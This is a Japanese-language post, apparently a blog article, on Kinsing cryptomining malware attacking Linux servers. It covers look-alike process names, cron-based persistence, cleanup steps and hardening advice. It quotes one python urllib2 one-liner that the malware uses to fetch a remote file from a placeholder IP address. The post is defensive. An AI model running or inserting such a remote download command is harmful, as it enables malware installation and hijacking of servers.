#はじめに
アンチウィルスソフトウェアで保護するPCは安全だと思いますが、
攻撃多種多様となってきており、セキュリティの意識はとても重要です。
個人情報、クレジットカードなどの盗聴の損害は大きいものの、DoS攻撃、DDoS攻撃、仮想通貨のマイニングマルウェアで攻撃なども大変です。
#仮想通貨のマイニングマルウェアで攻撃
個人情報を盗聴する目的ではなく、サーバのCPU、メモリの計算リソースを乗っ取るのは目的です。
CPUはほぼ100%の使いとなり、既存のサービスの品質低下、提供不可になる場合があります。
#攻撃増加中のKinsingマルウェア
Linuxのプロセス名と似ている名前にしているパターンが多いです。
詳細情報:Threat Alert: Kinsing Malware Attacks Targeting Container Environments
例:
watchdog ⇔ watchbog
kdevtmofs ⇔ kdevtmpfsi
見落としやすい名前です。
実行ユーザーのCronに実行ファイルをダウンロードするように登録されますので、cronの書き換えを削除しないと勝手にプロセスは復活されます。
wget、curl、pythonのurllib2などを使ってダウンロードしています。
python -c 'import urllib2 as fbi;print fbi.urlopen("http://IPアドレス/old.txt").read()'
もし、マルウェア感染したら、下記のような作業で削除します。
・「watchbog」プロセスをkill ※ある場合
・「kdevtmpfsi」プロセスをkill ※ある場合
・「kinsing」プロセスをkill ※ある場合
・「crun」プロセスをkill ※ある場合
・/tmp/ の実行ユーザーのファイルを削除 ※ある場合
・実行ユーザーのcronに追加された内容を削除 ※ある場合
・「.bashrc」、「.bash_profile」に変な内容を削除 ※ある場合
#対策
##プログラムの実行ユーザーについて
- rootで実行しないこと
- nologinのユーザーで起動すること(sudo使えないように抑制)
例えばtomcatを実行する「tomcat」ユーザはnologinとします。
useradd -s /sbin/nologin tomcat
##IP、ポート制限(Inbound、OutBound)
サーバからの外部通信は厳しく制御する。(制御できない場合がある場合は別の対策を考える)
##必要がないソフトウェアをアンインストール
python,curl,wgetなど必要がないソフトウェアをアンインストール
##リソースの使用状況監視
基本CPU、メモリ、Disk、ネットワークの監視してAlertするようにし、万が一攻撃されたら早期発覚できます。
AWS、GCP、AzureなどでもAlert設定は簡単にできるので、設定したほうがよい。
##アンチウィルスソフトウェアの利用
F-Secureなど
##アプリケーション脆弱性対策(WAF)
WAFでプログラムの検知も有効です。
##プログラムのセキュリティ強化
プログラムの脆弱性による攻撃は多いので、根本的にプログラムの脆弱性がないように強化テストし、早期発見、対応。
参考:AWS_Security_Best_Practices.pdf
以上